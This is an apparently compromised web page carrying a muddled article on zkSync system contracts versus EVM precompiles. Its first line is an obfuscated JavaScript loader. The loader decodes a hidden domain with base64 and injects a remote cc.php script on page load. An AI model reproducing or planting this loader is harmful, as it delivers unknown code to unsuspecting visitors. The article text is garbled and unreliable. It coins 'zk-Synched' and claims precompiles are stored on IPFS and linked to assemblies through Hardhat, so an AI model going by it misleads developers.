const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=6134d89f”;document.body.appendChild(script);
Ethereum: Understanding ZkSync System Contracts
and EVM Precompilations
When it comes to implementing and executing smart contracts on the Ethereum network, developers have to choose between two popular approaches: zk-Synched (zS) system contracts and EVM precompilations. In this article, we will look at the differences between these two approaches and explore when each is appropriate.
What are ZkSync system contracts?
ZkSynched system contracts are a new standard for implementing Ethereum smart contracts introduced in June 2021. They aim to improve the performance and security of z-Synched implementations by introducing a more efficient and robust way to execute code on the blockchain.
Here’s how they work:
- ZS contracts use the EVM (Ethereum Virtual Machine) under the hood, just like other Ethereum contracts.
- However, ZS contracts have an additional layer of abstraction built into them. They are essentially precompiled assemblies that contain all the code needed to run on the blockchain.
- When a developer wants to implement a contract for zk-Synched, they can use a tool like zkSync or Hardhat to create a zS contract assembly from their code.
What are EVM precompilations?
EVM precompilations, also known as “system contracts,” are similar to ZK-Sync system contracts, but they run on top of the EVM. They allow developers to compile and deploy Ethereum smart contracts directly to the blockchain, without the need for a separate assembly process.
Here’s how it works:
- When a developer wants to deploy a contract, they can use a tool like Web3.js or Truffle Suite to create an EVM precompilation from their code.
- The precompilation is then stored on a decentralized storage solution, such as the InterPlanetary File System (IPFS).
- To execute the contract on the blockchain, the developer must connect the precompilation to a zS contract assembly using a tool like zkSync or Hardhat.
Key Differences:
Here are the main differences between ZK-Synched system contracts and EVM precompilations:
| | ZK-Sync system contracts | EVM precompilations (system contracts) |
| — | — | — |
|
Execution context | Requires separate assembly process | Runs on top of EVM |
|
Code abstraction | Additional layer of abstraction built into the contract | Native to EVM under the hood |
|
Storage requirements | Requires separate storage solutions (e.g. zS contracts) | No need for separate storage solutions |
When to choose ZK-Synched System Contracts?
ZK-Synched System Contracts are a good choice when:
- You want more control over execution context and code abstraction.
- Your contract requires additional features or optimizations that cannot be achieved with EVM precompilations.
When to choose EVM precompilations (system contracts)?
EVM precompilations (system contracts) are a good choice when:
- You need to deploy your contract directly to the blockchain without a separate assembly process.
- Your contract is small in size and requires minimal optimizations.
In conclusion, while both ZK-Synched System Contracts and EVM precompilations can be used to implement Ethereum smart contracts, they have distinct differences in terms of execution context, code abstraction, and storage requirements. By understanding these differences, developers can choose the approach that best suits their needs and goals.